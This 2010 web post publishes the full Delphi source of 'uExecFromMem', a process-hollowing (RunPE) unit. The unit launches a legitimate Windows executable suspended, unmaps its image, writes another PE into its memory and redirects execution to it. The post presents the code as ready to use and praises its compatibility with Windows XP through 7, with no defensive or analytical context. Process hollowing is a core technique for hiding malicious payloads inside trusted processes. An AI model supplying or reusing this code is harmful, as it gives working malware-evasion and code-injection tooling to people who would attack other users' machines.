We don't display ads so we rely on your Bitcoin donations to 1KWEk9QaiJb2NwP5YFmR24LyUBa4JyuKqZ
Post date: Jul 15, 2010 10:19:08 PM
uExecFromMem by steve10120 - fixed for Win7x64 by testest
The original uExecFromMem unit reported an error 487 "Attempt to access an invalid address" inside a Windows 7 environment due to the Context not being DWORD aligned. Testest fixed this by using his Get4ByteAlignedContext function to retreive a four byte aligned Context. Parameter support has also been added.
This delphi unit is now the perfect example of dynamically forking the Windows 32 executable featuring, support for all operating systems [XP, Vista, 7; 32, 64] and memory execution of multiple portable executables (available due to the PerformBaseRelocation function).
{ uExecFromMem  Author: steve10120  Description: Run an executable from another's memory.  Credits: Tan Chew Keong: Dynamic Forking of Win32 EXE; Author of BTMemoryModule: PerformBaseRelocation().  Reference: http://www.security.org.sg/code/loadexe.html  Release Date: 26th August 2009  Website: http://ic0de.org  History: First try  Additions by testest 15th July 2010:    - Parameter support    - Win7 x64 support}unit uExecFromMem;interfaceuses Windows;function ExecuteFromMem(szFilePath, szParams: string; pFile: Pointer):DWORD;implementationfunction NtUnmapViewOfSection(ProcessHandle:DWORD; BaseAddress:Pointer):DWORD; stdcall; external 'ntdll';type  PImageBaseRelocation = ^TImageBaseRelocation;  TImageBaseRelocation = packed record     VirtualAddress: DWORD;     SizeOfBlock: DWORD;  end;procedure PerformBaseRelocation(f_module: Pointer; INH:PImageNtHeaders; f_delta: Cardinal); stdcall;var  l_i: Cardinal;  l_codebase: Pointer;  l_relocation: PImageBaseRelocation;  l_dest: Pointer;  l_relInfo: ^Word;  l_patchAddrHL: ^DWord;  l_type, l_offset: integer;begin  l_codebase := f_module;  if INH^.OptionalHeader.DataDirectory[5].Size > 0 then  begin    l_relocation := PImageBaseRelocation(Cardinal(l_codebase) + INH^.OptionalHeader.DataDirectory[5].VirtualAddress);    while l_relocation.VirtualAddress > 0 do    begin      l_dest := Pointer((Cardinal(l_codebase) + l_relocation.VirtualAddress));      l_relInfo := Pointer(Cardinal(l_relocation) + 8);      for l_i := 0 to (trunc(((l_relocation.SizeOfBlock - 8) / 2)) - 1) do      begin        l_type := (l_relInfo^ shr 12);        l_offset := l_relInfo^ and $FFF;        if l_type = 3 then        begin          l_patchAddrHL := Pointer(Cardinal(l_dest) + Cardinal(l_offset));          l_patchAddrHL^ := l_patchAddrHL^ + f_delta;        end;        inc(l_relInfo);      end;      l_relocation := Pointer(cardinal(l_relocation) + l_relocation.SizeOfBlock);    end;  end;end;function AlignImage(pImage:Pointer):Pointer;var  IDH:          PImageDosHeader;  INH:          PImageNtHeaders;  ISH:          PImageSectionHeader;  i:            WORD;begin  IDH := pImage;  INH := Pointer(Integer(pImage) + IDH^._lfanew);  GetMem(Result, INH^.OptionalHeader.SizeOfImage);  ZeroMemory(Result, INH^.OptionalHeader.SizeOfImage);  CopyMemory(Result, pImage, INH^.OptionalHeader.SizeOfHeaders);  for i := 0 to INH^.FileHeader.NumberOfSections - 1 do  begin    ISH := Pointer(Integer(pImage) + IDH^._lfanew + 248 + i * 40);    CopyMemory(Pointer(DWORD(Result) + ISH^.VirtualAddress), Pointer(DWORD(pImage) + ISH^.PointerToRawData), ISH^.SizeOfRawData);  end;end;function Get4ByteAlignedContext(var Base: PContext): PContext;begin  Base := VirtualAlloc(nil, SizeOf(TContext) + 4, MEM_COMMIT, PAGE_READWRITE);  Result := Base;  if Base <> nil then    while ((DWORD(Result) mod 4) <> 0) do      Result := Pointer(DWORD(Result) + 1);end;function ExecuteFromMem(szFilePath, szParams:string; pFile:Pointer):DWORD;var  PI:           TProcessInformation;  SI:           TStartupInfo;  CT:           PContext;  CTBase:       PContext;  IDH:          PImageDosHeader;  INH:          PImageNtHeaders;  dwImageBase:  DWORD;  pModule:      Pointer;  dwNull:       DWORD;begin  if szParams <> '' then szParams := '"'+szFilePath+'" '+szParams;  Result := 0;  IDH := pFile;  if IDH^.e_magic = IMAGE_DOS_SIGNATURE then  begin    INH := Pointer(Integer(pFile) + IDH^._lfanew);    if INH^.Signature = IMAGE_NT_SIGNATURE then    begin      FillChar(SI, SizeOf(TStartupInfo), #0);      FillChar(PI, SizeOf(TProcessInformation), #0);      SI.cb := SizeOf(TStartupInfo);      if CreateProcess(PChar(szFilePath), PChar(szParams), nil, nil, FALSE, CREATE_SUSPENDED, nil, nil, SI, PI) then      begin        CT := Get4ByteAlignedContext(CTBase);        if CT <> nil then        begin          CT.ContextFlags := CONTEXT_FULL;          if GetThreadContext(PI.hThread, CT^) then          begin            ReadProcessMemory(PI.hProcess, Pointer(CT.Ebx + 8), @dwImageBase, 4, dwNull);            if dwImageBase = INH^.OptionalHeader.ImageBase then            begin              if NtUnmapViewOfSection(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase)) = 0 then                pModule := VirtualAllocEx(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase), INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE)              else                pModule := VirtualAllocEx(PI.hProcess, nil, INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);            end            else              pModule := VirtualAllocEx(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase), INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);            if pModule <> nil then            begin              pFile := AlignImage(pFile);              if DWORD(pModule) <> INH^.OptionalHeader.ImageBase then              begin                PerformBaseRelocation(pFile, INH, (DWORD(pModule) - INH^.OptionalHeader.ImageBase));                INH^.OptionalHeader.ImageBase := DWORD(pModule);                CopyMemory(Pointer(Integer(pFile) + IDH^._lfanew), INH, 248);              end;              WriteProcessMemory(PI.hProcess, pModule, pFile, INH.OptionalHeader.SizeOfImage, dwNull);              WriteProcessMemory(PI.hProcess, Pointer(CT.Ebx + 8), @pModule, 4, dwNull);              CT.Eax := DWORD(pModule) + INH^.OptionalHeader.AddressOfEntryPoint;              SetThreadContext(PI.hThread, CT^);              ResumeThread(PI.hThread);              Result := PI.hThread;            end;          end;          VirtualFree(CTBase, 0, MEM_RELEASE);        end;        if Result = 0 then          TerminateProcess(PI.hProcess, 0);      end;    end;  end;end;end.